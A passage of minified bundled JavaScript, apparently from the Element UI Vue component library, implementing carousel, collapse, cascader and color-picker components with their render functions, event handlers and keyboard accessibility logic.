el-carousel__arrow--right\",attrs:{type:\"button\"},on:{mouseenter:function(t){e.handleButtonEnter(\"right\")},mouseleave:e.handleButtonLeave,click:function(t){t.stopPropagation(),e.throttledArrowClick(e.activeIndex+1)}}},[i(\"i\",{staticClass:\"el-icon-arrow-right\"})]):e._e()]),e._t(\"default\")],2),\"none\"!==e.indicatorPosition?i(\"ul\",{staticClass:\"el-carousel__indicators\",class:{\"el-carousel__indicators--labels\":e.hasLabel,\"el-carousel__indicators--outside\":\"outside\"===e.indicatorPosition||\"card\"===e.type}},e._l(e.items,function(t,n){return i(\"li\",{staticClass:\"el-carousel__indicator\",class:{\"is-active\":n===e.activeIndex},on:{mouseenter:function(t){e.throttledIndicatorHover(n)},click:function(t){t.stopPropagation(),e.handleIndicatorClick(n)}}},[i(\"button\",{staticClass:\"el-carousel__button\"},[e.hasLabel?i(\"span\",[e._v(e._s(t.label))]):e._e()])])})):e._e()])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(439),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(440),s=i.n(n),r=i(441),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;t.default={name:\"ElCarouselItem\",props:{name:String,label:{type:[String,Number],default:\"\"}},data:function(){return{hover:!1,translate:0,scale:1,active:!1,ready:!1,inStage:!1,animating:!1}},methods:{processIndex:function(e,t,i){return 0===t&&e===i-1?-1:t===i-1&&0===e?i:e<t-1&&t-e>=i/2?i+1:e>t+1&&e-t>=i/2?-2:e},calculateTranslate:function(e,t,i){return this.inStage?i*(1.17*(e-t)+1)/4:e<t?-1.83*i/4:3.83*i/4},translateItem:function(e,t,i){var n=this.$parent.$el.offsetWidth,s=this.$parent.items.length;\"card\"!==this.$parent.type&&void 0!==i&&(this.animating=e===t||e===i),e!==t&&s>2&&this.$parent.loop&&(e=this.processIndex(e,t,s)),\"card\"===this.$parent.type?(this.inStage=Math.round(Math.abs(e-t))<=1,this.active=e===t,this.translate=this.calculateTranslate(e,t,n),this.scale=this.active?1:.83):(this.active=e===t,this.translate=n*(e-t)),this.ready=!0},handleItemClick:function(){var e=this.$parent;if(e&&\"card\"===e.type){var t=e.items.indexOf(this);e.setActiveItem(t)}}},created:function(){this.$parent&&this.$parent.updateItems()},destroyed:function(){this.$parent&&this.$parent.updateItems()}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.ready,expression:\"ready\"}],staticClass:\"el-carousel__item\",class:{\"is-active\":e.active,\"el-carousel__item--card\":\"card\"===e.$parent.type,\"is-in-stage\":e.inStage,\"is-hover\":e.hover,\"is-animating\":e.animating},style:{msTransform:\"translateX(\"+e.translate+\"px) scale(\"+e.scale+\")\",webkitTransform:\"translateX(\"+e.translate+\"px) scale(\"+e.scale+\")\",transform:\"translateX(\"+e.translate+\"px) scale(\"+e.scale+\")\"},on:{click:e.handleItemClick}},[\"card\"===e.$parent.type?i(\"div\",{directives:[{name:\"show\",rawName:\"v-show\",value:!e.active,expression:\"!active\"}],staticClass:\"el-carousel__mask\"}):e._e(),e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(443),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(444),s=i.n(n),r=i(445),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElCollapse\",componentName:\"ElCollapse\",props:{accordion:Boolean,value:{type:[Array,String,Number],default:function(){return[]}}},data:function(){return{activeNames:[].concat(this.value)}},provide:function(){return{collapse:this}},watch:{value:function(e){this.activeNames=[].concat(e)}},methods:{setActiveNames:function(e){e=[].concat(e);var t=this.accordion?e[0]:e;this.activeNames=e,this.$emit(\"input\",t),this.$emit(\"change\",t)},handleItemClick:function(e){if(this.accordion)this.setActiveNames(!this.activeNames[0]&&0!==this.activeNames[0]||this.activeNames[0]!==e.name?e.name:\"\");else{var t=this.activeNames.slice(0),i=t.indexOf(e.name);i>-1?t.splice(i,1):t.push(e.name),this.setActiveNames(t)}}},created:function(){this.$on(\"item-click\",this.handleItemClick)}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"div\",{staticClass:\"el-collapse\",attrs:{role:\"tablist\",\"aria-multiselectable\":\"true\"}},[e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(447),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(448),s=i.n(n),r=i(449),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(32),r=n(s),o=i(1),a=n(o),l=i(4);t.default={name:\"ElCollapseItem\",componentName:\"ElCollapseItem\",mixins:[a.default],components:{ElCollapseTransition:r.default},data:function(){return{contentWrapStyle:{height:\"auto\",display:\"block\"},contentHeight:0,focusing:!1,isClick:!1}},inject:[\"collapse\"],props:{title:String,name:{type:[String,Number],default:function(){return this._uid}}},computed:{isActive:function(){return this.collapse.activeNames.indexOf(this.name)>-1},id:function(){return(0,l.generateId)()}},methods:{handleFocus:function(){var e=this;setTimeout(function(){e.isClick?e.isClick=!1:e.focusing=!0},50)},handleHeaderClick:function(){this.dispatch(\"ElCollapse\",\"item-click\",this),this.focusing=!1,this.isClick=!0},handleEnterClick:function(){this.dispatch(\"ElCollapse\",\"item-click\",this)}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{staticClass:\"el-collapse-item\",class:{\"is-active\":e.isActive}},[i(\"div\",{attrs:{role:\"tab\",\"aria-expanded\":e.isActive,\"aria-controls\":\"el-collapse-content-\"+e.id,\"aria-describedby\":\"el-collapse-content-\"+e.id}},[i(\"div\",{staticClass:\"el-collapse-item__header\",class:{focusing:e.focusing,\"is-active\":e.isActive},attrs:{role:\"button\",id:\"el-collapse-head-\"+e.id,tabindex:\"0\"},on:{click:e.handleHeaderClick,keyup:function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"space\",32,t.key)&&e._k(t.keyCode,\"enter\",13,t.key))return null;t.stopPropagation(),e.handleEnterClick(t)},focus:e.handleFocus,blur:function(t){e.focusing=!1}}},[e._t(\"title\",[e._v(e._s(e.title))]),i(\"i\",{staticClass:\"el-collapse-item__arrow el-icon-arrow-right\",class:{\"is-active\":e.isActive}})],2)]),i(\"el-collapse-transition\",[i(\"div\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.isActive,expression:\"isActive\"}],staticClass:\"el-collapse-item__wrap\",attrs:{role:\"tabpanel\",\"aria-hidden\":!e.isActive,\"aria-labelledby\":\"el-collapse-head-\"+e.id,id:\"el-collapse-content-\"+e.id}},[i(\"div\",{staticClass:\"el-collapse-item__content\"},[e._t(\"default\")],2)])])],1)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(451),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(452),s=i.n(n),r=i(455),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(2),r=n(s),o=i(453),a=n(o),l=i(8),u=n(l),c=i(11),d=n(c),h=i(12),f=n(h),p=i(1),m=n(p),v=i(6),g=n(v),b=i(17),y=i(18),_=n(y),C=i(4),x={props:{placement:{type:String,default:\"bottom-start\"},appendToBody:d.default.props.appendToBody,arrowOffset:d.default.props.arrowOffset,offset:d.default.props.offset,boundariesPadding:d.default.props.boundariesPadding,popperOptions:d.default.props.popperOptions},methods:d.default.methods,data:d.default.data,beforeDestroy:d.default.beforeDestroy};t.default={name:\"ElCascader\",directives:{Clickoutside:f.default},mixins:[x,m.default,g.default],inject:{elForm:{default:\"\"},elFormItem:{default:\"\"}},components:{ElInput:u.default},props:{options:{type:Array,required:!0},props:{type:Object,default:function(){return{children:\"children\",label:\"label\",value:\"value\",disabled:\"disabled\"}}},value:{type:Array,default:function(){return[]}},separator:{type:String,default:\"/\"},placeholder:{type:String,default:function(){return(0,b.t)(\"el.cascader.placeholder\")}},disabled:Boolean,clearable:{type:Boolean,default:!1},changeOnSelect:Boolean,popperClass:String,expandTrigger:{type:String,default:\"click\"},filterable:Boolean,size:String,showAllLevels:{type:Boolean,default:!0},debounce:{type:Number,default:300},beforeFilter:{type:Function,default:function(){return function(){}}},hoverThreshold:{type:Number,default:500}},data:function(){return{currentValue:this.value||[],menu:null,debouncedInputChange:function(){},menuVisible:!1,inputHover:!1,inputValue:\"\",flatOptions:null,id:(0,C.generateId)(),needFocus:!0,isOnComposition:!1}},computed:{labelKey:function(){return this.props.label||\"label\"},valueKey:function(){return this.props.value||\"value\"},childrenKey:function(){return this.props.children||\"children\"},disabledKey:function(){return this.props.disabled||\"disabled\"},currentLabels:function(){var e=this,t=this.options,i=[];return this.currentValue.forEach(function(n){var s=t&&t.filter(function(t){return t[e.valueKey]===n})[0];s&&(i.push(s[e.labelKey]),t=s[e.childrenKey])}),i},_elFormItemSize:function(){return(this.elFormItem||{}).elFormItemSize},cascaderSize:function(){return this.size||this._elFormItemSize||(this.$ELEMENT||{}).size},cascaderDisabled:function(){return this.disabled||(this.elForm||{}).disabled},readonly:function(){return!this.filterable||!(0,C.isIE)()&&!(0,C.isEdge)()&&!this.menuVisible}},watch:{menuVisible:function(e){this.$refs.input.$refs.input.setAttribute(\"aria-expanded\",e),e?this.showMenu():this.hideMenu(),this.$emit(\"visible-change\",e)},value:function(e){this.currentValue=e},currentValue:function(e){this.dispatch(\"ElFormItem\",\"el.form.change\",[e])},currentLabels:function(e){var t=this.showAllLevels?e.join(\"/\"):e[e.length-1];this.$refs.input.$refs.input.setAttribute(\"value\",t)},options:{deep:!0,handler:function(e){this.menu||this.initMenu(),this.flatOptions=this.flattenOptions(this.options),this.menu.options=e}}},methods:{initMenu:function(){this.menu=new r.default(a.default).$mount(),this.menu.options=this.options,this.menu.props=this.props,this.menu.expandTrigger=this.expandTrigger,this.menu.changeOnSelect=this.changeOnSelect,this.menu.popperClass=this.popperClass,this.menu.hoverThreshold=this.hoverThreshold,this.popperElm=this.menu.$el,this.menu.$refs.menus[0].setAttribute(\"id\",\"cascader-menu-\"+this.id),this.menu.$on(\"pick\",this.handlePick),this.menu.$on(\"activeItemChange\",this.handleActiveItemChange),this.menu.$on(\"menuLeave\",this.doDestroy),this.menu.$on(\"closeInside\",this.handleClickoutside)},showMenu:function(){var e=this;this.menu||this.initMenu(),this.menu.value=this.currentValue.slice(0),this.menu.visible=!0,this.menu.options=this.options,this.$nextTick(function(t){e.updatePopper(),e.menu.inputWidth=e.$refs.input.$el.offsetWidth-2})},hideMenu:function(){this.inputValue=\"\",this.menu.visible=!1,this.needFocus?this.$refs.input.focus():this.needFocus=!0},handleActiveItemChange:function(e){var t=this;this.$nextTick(function(e){t.updatePopper()}),this.$emit(\"active-item-change\",e)},handleKeydown:function(e){var t=this,i=e.keyCode;13===i?this.handleClick():40===i?(this.menuVisible=!0,setTimeout(function(){t.popperElm.querySelectorAll(\".el-cascader-menu\")[0].querySelectorAll(\"[tabindex='-1']\")[0].focus()}),e.stopPropagation(),e.preventDefault()):27!==i&&9!==i||(this.inputValue=\"\",this.menu&&(this.menu.visible=!1))},handlePick:function(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];this.currentValue=e,this.$emit(\"input\",e),this.$emit(\"change\",e),t?this.menuVisible=!1:this.$nextTick(this.updatePopper)},handleInputChange:function(e){var t=this;if(this.menuVisible){var i=this.flatOptions;if(!e)return this.menu.options=this.options,void this.$nextTick(this.updatePopper);var n=i.filter(function(i){return i.some(function(i){return new RegExp((0,C.escapeRegexpString)(e),\"i\").test(i[t.labelKey])})});n=n.length>0?n.map(function(i){return{__IS__FLAT__OPTIONS:!0,value:i.map(function(e){return e[t.valueKey]}),label:t.renderFilteredOptionLabel(e,i),disabled:i.some(function(e){return e[t.disabledKey]})}}):[{__IS__FLAT__OPTIONS:!0,label:this.t(\"el.cascader.noMatch\"),value:\"\",disabled:!0}],this.menu.options=n,this.$nextTick(this.updatePopper)}},renderFilteredOptionLabel:function(e,t){var i=this;return t.map(function(t,n){var s=t[i.labelKey],r=s.toLowerCase().indexOf(e.toLowerCase()),o=s.slice(r,e.length+r),a=r>-1?i.highlightKeyword(s,o):s;return 0===n?a:[\" \"+i.separator+\" \",a]})},highlightKeyword:function(e,t){var i=this,n=this._c;return e.split(t).map(function(e,s){return 0===s?e:[n(\"span\",{class:{\"el-cascader-menu__item__keyword\":!0}},[i._v(t)]),e]})},flattenOptions:function(e){var t=this,i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],n=[];return e.forEach(function(e){var s=i.concat(e);e[t.childrenKey]?(t.changeOnSelect&&n.push(s),n=n.concat(t.flattenOptions(e[t.childrenKey],s))):n.push(s)}),n},clearValue:function(e){e.stopPropagation(),this.handlePick([],!0)},handleClickoutside:function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];this.menuVisible&&!e&&(this.needFocus=!1),this.menuVisible=!1},handleClick:function(){if(!this.cascaderDisabled){if(this.$refs.input.focus(),this.filterable)return void(this.menuVisible=!0);this.menuVisible=!this.menuVisible}},handleFocus:function(e){this.$emit(\"focus\",e)},handleBlur:function(e){this.$emit(\"blur\",e)},handleComposition:function(e){this.isOnComposition=\"compositionend\"!==e.type}},created:function(){var e=this;this.debouncedInputChange=(0,_.default)(this.debounce,function(t){var i=e.beforeFilter(t);i&&i.then?(e.menu.options=[{__IS__FLAT__OPTIONS:!0,label:e.t(\"el.cascader.loading\"),value:\"\",disabled:!0}],i.then(function(){e.$nextTick(function(){e.handleInputChange(t)})})):!1!==i&&e.$nextTick(function(){e.handleInputChange(t)})})},mounted:function(){this.flatOptions=this.flattenOptions(this.options)}}},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(454),s=i.n(n),r=i(0),o=r(s.a,null,!1,null,null,null);t.default=o.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(91),r=n(s),o=i(43),a=i(45),l=n(a),u=i(4),c=function e(t,i){if(!t||!Array.isArray(t)||!i)return t;var n=[],s=[\"__IS__FLAT__OPTIONS\",\"label\",\"value\",\"disabled\"],r=i.children||\"children\";return t.forEach(function(t){var o={};s.forEach(function(e){var n=i[e],s=t[n];void 0===s&&(n=e,s=t[n]),void 0!==s&&(o[n]=s)}),Array.isArray(t[r])&&(o[r]=e(t[r],i)),n.push(o)}),n};t.default={name:\"ElCascaderMenu\",data:function(){return{inputWidth:0,options:[],props:{},visible:!1,activeValue:[],value:[],expandTrigger:\"click\",changeOnSelect:!1,popperClass:\"\",hoverTimer:0,clicking:!1,id:(0,u.generateId)()}},watch:{visible:function(e){e&&(this.activeValue=this.value)},value:{immediate:!0,handler:function(e){this.activeValue=e}}},computed:{activeOptions:{cache:!1,get:function(){var e=this,t=this.activeValue,i=[\"label\",\"value\",\"children\",\"disabled\"],n=c(this.options,this.props);return function t(n){n.forEach(function(n){n.__IS__FLAT__OPTIONS||(i.forEach(function(t){var i=n[e.props[t]||t];void 0!==i&&(n[t]=i)}),Array.isArray(n.children)&&t(n.children))})}(n),function e(i){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],s=n.length;n[s]=i;var r=t[s];return(0,o.isDef)(r)&&(i=i.filter(function(e){return e.value===r})[0])&&i.children&&e(i.children,n),n}(n)}}},methods:{select:function(e,t){e.__IS__FLAT__OPTIONS?this.activeValue=e.value:t?this.activeValue.splice(t,this.activeValue.length-1,e.value):this.activeValue=[e.value],this.$emit(\"pick\",this.activeValue.slice())},handleMenuLeave:function(){this.$emit(\"menuLeave\")},activeItem:function(e,t){var i=this.activeOptions.length;this.activeValue.splice(t,i,e.value),this.activeOptions.splice(t+1,i,e.children),this.changeOnSelect?this.$emit(\"pick\",this.activeValue.slice(),!1):this.$emit(\"activeItemChange\",this.activeValue)},scrollMenu:function(e){(0,l.default)(e,e.getElementsByClassName(\"is-active\")[0])},handleMenuEnter:function(){var e=this;this.$nextTick(function(){return e.$refs.menus.forEach(function(t){return e.scrollMenu(t)})})}},render:function(e){var t=this,i=this.activeValue,n=this.activeOptions,s=this.visible,o=this.expandTrigger,a=this.popperClass,l=this.hoverThreshold,u=null,c=0,d={},h=function(e){var i=d.activeMenu;if(i){var n=e.offsetX,s=i.offsetWidth,r=i.offsetHeight;if(e.target===d.activeItem){clearTimeout(t.hoverTimer);var o=d,a=o.activeItem,u=a.offsetTop,c=u+a.offsetHeight;d.hoverZone.innerHTML='\\n          <path style=\"pointer-events: auto;\" fill=\"transparent\" d=\"M'+n+\" \"+u+\" L\"+s+\" 0 V\"+u+' Z\" />\\n          <path style=\"pointer-events: auto;\" fill=\"transparent\" d=\"M'+n+\" \"+c+\" L\"+s+\" \"+r+\" V\"+c+' Z\" />\\n        '}else t.hoverTimer||(t.hoverTimer=setTimeout(function(){d.hoverZone.innerHTML=\"\"},l))}},f=this._l(n,function(n,s){var a=!1,l=\"menu-\"+t.id+\"-\"+s,d=\"menu-\"+t.id+\"-\"+(s+1),f=t._l(n,function(n){var h={on:{}};return n.__IS__FLAT__OPTIONS&&(a=!0),n.disabled||(h.on.keydown=function(e){var i=e.keyCode;if(!([37,38,39,40,13,9,27].indexOf(i)<0)){var r=e.target,o=t.$refs.menus[s],a=o.querySelectorAll(\"[tabindex='-1']\"),l=Array.prototype.indexOf.call(a,r),u=void 0,c=void 0;if([38,40].indexOf(i)>-1)38===i?u=0!==l?l-1:l:40===i&&(u=l!==a.length-1?l+1:l),a[u].focus();else if(37===i){if(0!==s){var d=t.$refs.menus[s-1];d.querySelector(\"[aria-expanded=true]\").focus()}}else if(39===i)n.children&&(c=t.$refs.menus[s+1],c.querySelectorAll(\"[tabindex='-1']\")[0].focus());else if(13===i){if(!n.children){var h=r.getAttribute(\"id\");o.setAttribute(\"aria-activedescendant\",h),t.select(n,s),t.$nextTick(function(){return t.scrollMenu(t.$refs.menus[s])})}}else 9!==i&&27!==i||t.$emit(\"closeInside\")}},n.children?function(){var e={click:\"click\",hover:\"mouseenter\"}[o],i=function(){t.visible&&(t.activeItem(n,s),t.$nextTick(function(){t.scrollMenu(t.$refs.menus[s]),t.scrollMenu(t.$refs.menus[s+1])}))};h.on[e]=i,\"mouseenter\"===e&&t.changeOnSelect&&(h.on.click=function(){-1!==t.activeValue.indexOf(n.value)&&t.$emit(\"closeInside\",!0)}),h.on.mousedown=function(){t.clicking=!0},h.on.focus=function(){if(t.clicking)return void(t.clicking=!1);i()}}():h.on.click=function(){t.select(n,s),t.$nextTick(function(){return t.scrollMenu(t.$refs.menus[s])})}),n.disabled||n.children||(u=l+\"-\"+c,c++),e(\"li\",(0,r.default)([{class:{\"el-cascader-menu__item\":!0,\"el-cascader-menu__item--extensible\":n.children,\"is-active\":n.value===i[s],\"is-disabled\":n.disabled},ref:n.value===i[s]?\"activeItem\":null},h,{attrs:{tabindex:n.disabled?null:-1,role:\"menuitem\",\"aria-haspopup\":!!n.children,\"aria-expanded\":n.value===i[s],id:u,\"aria-owns\":n.children?d:null}}]),[n.label])}),p={};a&&(p.minWidth=t.inputWidth+\"px\");var m=\"hover\"===o&&i.length-1===s,v={on:{}};return m&&(v.on.mousemove=h,p.position=\"relative\"),e(\"ul\",(0,r.default)([{class:{\"el-cascader-menu\":!0,\"el-cascader-menu--flexible\":a}},v,{style:p,refInFor:!0,ref:\"menus\",attrs:{role:\"menu\",id:l}}]),[f,m?e(\"svg\",{ref:\"hoverZone\",style:{position:\"absolute\",top:0,height:\"100%\",width:\"100%\",left:0,pointerEvents:\"none\"}},[]):null])});return\"hover\"===o&&this.$nextTick(function(){var e=t.$refs.activeItem;if(e){var i=e.parentElement,n=t.$refs.hoverZone;d={activeMenu:i,activeItem:e,hoverZone:n}}else d={}}),e(\"transition\",{attrs:{name:\"el-zoom-in-top\"},on:{\"before-enter\":this.handleMenuEnter,\"after-leave\":this.handleMenuLeave}},[e(\"div\",{directives:[{name:\"show\",value:s}],class:[\"el-cascader-menus el-popper\",a],ref:\"wrapper\"},[e(\"div\",{attrs:{\"x-arrow\":!0},class:\"popper__arrow\"},[]),f])])}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"span\",{directives:[{name:\"clickoutside\",rawName:\"v-clickoutside\",value:e.handleClickoutside,expression:\"handleClickoutside\"}],ref:\"reference\",staticClass:\"el-cascader\",class:[{\"is-opened\":e.menuVisible,\"is-disabled\":e.cascaderDisabled},e.cascaderSize?\"el-cascader--\"+e.cascaderSize:\"\"],on:{click:e.handleClick,mouseenter:function(t){e.inputHover=!0},focus:function(t){e.inputHover=!0},mouseleave:function(t){e.inputHover=!1},blur:function(t){e.inputHover=!1},keydown:e.handleKeydown}},[i(\"el-input\",{ref:\"input\",class:{\"is-focus\":e.menuVisible},attrs:{readonly:e.readonly,placeholder:e.currentLabels.length?void 0:e.placeholder,\"validate-event\":!1,size:e.size,disabled:e.cascaderDisabled},on:{input:e.debouncedInputChange,focus:e.handleFocus,blur:e.handleBlur},nativeOn:{compositionstart:function(t){e.handleComposition(t)},compositionend:function(t){e.handleComposition(t)}},model:{value:e.inputValue,callback:function(t){e.inputValue=t},expression:\"inputValue\"}},[i(\"template\",{attrs:{slot:\"suffix\"},slot:\"suffix\"},[e.clearable&&e.inputHover&&e.currentLabels.length?i(\"i\",{key:\"1\",staticClass:\"el-input__icon el-icon-circle-close el-cascader__clearIcon\",on:{click:e.clearValue}}):i(\"i\",{key:\"2\",staticClass:\"el-input__icon el-icon-arrow-down\",class:{\"is-reverse\":e.menuVisible}})])],2),i(\"span\",{directives:[{name:\"show\",rawName:\"v-show\",value:\"\"===e.inputValue&&!e.isOnComposition,expression:\"inputValue === '' && !isOnComposition\"}],staticClass:\"el-cascader__label\"},[e.showAllLevels?[e._l(e.currentLabels,function(t,n){return[e._v(\"\\n        \"+e._s(t)+\"\\n        \"),n<e.currentLabels.length-1?i(\"span\",{key:n},[e._v(\" \"+e._s(e.separator)+\" \")]):e._e()]})]:[e._v(\"\\n      \"+e._s(e.currentLabels[e.currentLabels.length-1])+\"\\n    \")]],2)],1)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(457),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(458),s=i.n(n),r=i(474),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(92),r=n(s),o=i(459),a=n(o),l=i(12),u=n(l),c=i(1),d=n(c);t.default={name:\"ElColorPicker\",mixins:[d.default],props:{value:String,showAlpha:Boolean,colorFormat:String,disabled:Boolean,size:String,popperClass:String,predefine:Array},inject:{elForm:{default:\"\"},elFormItem:{default:\"\"}},directives:{Clickoutside:u.default},computed:{displayedColor:function(){return this.value||this.showPanelColor?this.displayedRgb(this.color,this.showAlpha):\"transparent\"},_elFormItemSize:function(){return(this.elFormItem||{}).elFormItemSize},colorSize:function(){return this.size||this._elFormItemSize||(this.$ELEMENT||{}).size},colorDisabled:function(){return this.disabled||(this.elForm||{}).disabled}},watch:{value:function(e){e?e&&e!==this.color.value&&this.color.fromString(e):this.showPanelColor=!1},color:{deep:!0,handler:function(){this.showPanelColor=!0}},displayedColor:function(e){if(this.showPicker){var t=new r.default({enableAlpha:this.showAlpha,format:this.colorFormat});t.fromString(this.value);e!==this.displayedRgb(t,this.showAlpha)&&this.$emit(\"active-change\",e)}}},methods:{handleTrigger:function(){this.colorDisabled||(this.showPicker=!this.showPicker)},confirmValue:function(){var e=this.color.value;this.$emit(\"input\",e),this.$emit(\"change\",e),this.dispatch(\"ElFormItem\",\"el.form.change\",e),this.showPicker=!1},clearValue:function(){this.$emit(\"input\",null),this.$emit(\"change\",null),null!==this.value&&this.dispatch(\"ElFormItem\",\"el.form.change\",null),this.showPanelColor=!1,this.showPicker=!1,this.resetColor()},hide:function(){this.showPicker=!1,this.resetColor()},resetColor:function(){var e=this;this.$nextTick(function(t){e.value?e.color.fromString(e.value):e.showPanelColor=!1})},displayedRgb:function(e,t){if(!(e instanceof r.default))throw Error(\"color should be instance of Color Class\");var i=e.toRgb(),n=i.r,s=i.g,o=i.b;return t?\"rgba(\"+n+\", \"+s+\", \"+o+\", \"+e.get(\"alpha\")/100+\")\":\"rgb(\"+n+\", \"+s+\", \"+o+\")\"}},mounted:function(){var e=this.value;e&&this.color.fromString(e),this.popperElm=this.$refs.dropdown.$el},data:function(){return{color:new r.default({enableAlpha:this.showAlpha,format:this.colorFormat}),showPicker:!1,showPanelColor:!1}},components:{PickerDropdown:a.default}}},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(460),s=i.n(n),r=i(473),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(461),r=n(s),o=i(464),a=n(o),l=i(467),u=n(l),c=i(470),d=n(c),h=i(11),f=n(h),p=i(6),m=n(p),v=i(8),g=n(v),b=i(19),y=n(b);t.default={name:\"el-color-picker-dropdown\",mixins:[f.default,m.default],components:{SvPanel:r.default,HueSlider:a.default,AlphaSlider:u.default,ElInput:g.default,ElButton:y.default,Predefine:d.default},props:{color:{required:!0},showAlpha:Boolean,predefine:Array},data:function(){return{customInput:\"\"}},computed:{currentColor:function(){var e=this.$parent;return e.value||e.showPanelColor?e.color.value:\"\"}},methods:{confirmValue:function(){this.$emit(\"pick\")},handleConfirm:function(){this.color.fromString(this.customInput)}},mounted:function(){this.$parent.popperElm=this.popperElm=this.$el,this.referenceElm=this.$parent.$el},watch:{showPopper:function(e){var t=this;!0===e&&this.$nextTick(function(){var e=t.$refs,i=e.sl,n=e.hue,s=e.alpha;i&&i.update(),n&&n.update(),s&&s.update()})},currentColor:{immediate:!0,handler:function(e){this.customInput=e}}}}},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(462),s=i.n(n),r=i(463),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(65),s=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={name:\"el-sl-panel\",props:{color:{required:!0}},computed:{colorValue:function(){return{hue:this.color.get(\"hue\"),value:this.color.get(\"value\")}}},watch:{colorValue:function(){this.update()}},methods:{update:function(){var e=this.color.get(\"saturation\"),t=this.color.get(\"value\"),i=this.$el,n=i.clientWidth,s=i.clientHeight;this.cursorLeft=e*n/100,this.cursorTop=(100-t)*s/100,this.background=\"hsl(\"+this.color.get(\"hue\")+\", 100%, 50%)\"},handleDrag:function(e){var t=this.$el,i=t.getBoundingClientRect(),n=e.clientX-i.left,s=e.clientY-i.top;n=Math.max(0,n),n=Math.min(n,i.width),s=Math.max(0,s),s=Math.min(s,i.height),this.cursorLeft=n,this.cursorTop=s,this.color.set({saturation:n/i.width*100,value:100-s/i.height*100})}},mounted:function(){var e=this;(0,s.default)(this.$el,{drag:function(t){e.handleDrag(t)},end:function(t){e.handleDrag(t)}}),this.update()},data:function(){return{cursorTop:0,cursorLeft:0,background:\"hsl(0, 100%, 50%)\"}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{staticClass:\"el-color-svpanel\",style:{backgroundColor:e.background}},[i(\"div\",{staticClass:\"el-color-svpanel__white\"}),i(\"div\",{staticClass:\"el-color-svpanel__black\"}),i(\"div\",{staticClass:\"el-color-svpanel__cursor\",style:{top:e.cursorTop+\"px\",left:e.cursorLeft+\"px\"}},[i(\"div\")])])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(465),s=i.n(n),r=i(466),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(65),s=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={name:\"el-color-hue-slider\",props:{color:{required:!0},vertical:Boolean},data:function(){return{thumbLeft:0,thumbTop:0}},computed:{hueValue:function(){return this.color.get(\"hue\")}},watch:{hueValue:function(){this.update()}},methods:{handleClick:function(e){var t=this.$refs.thumb;e.target!==t&&this.handleDrag(e)},handleDrag:function(e){var 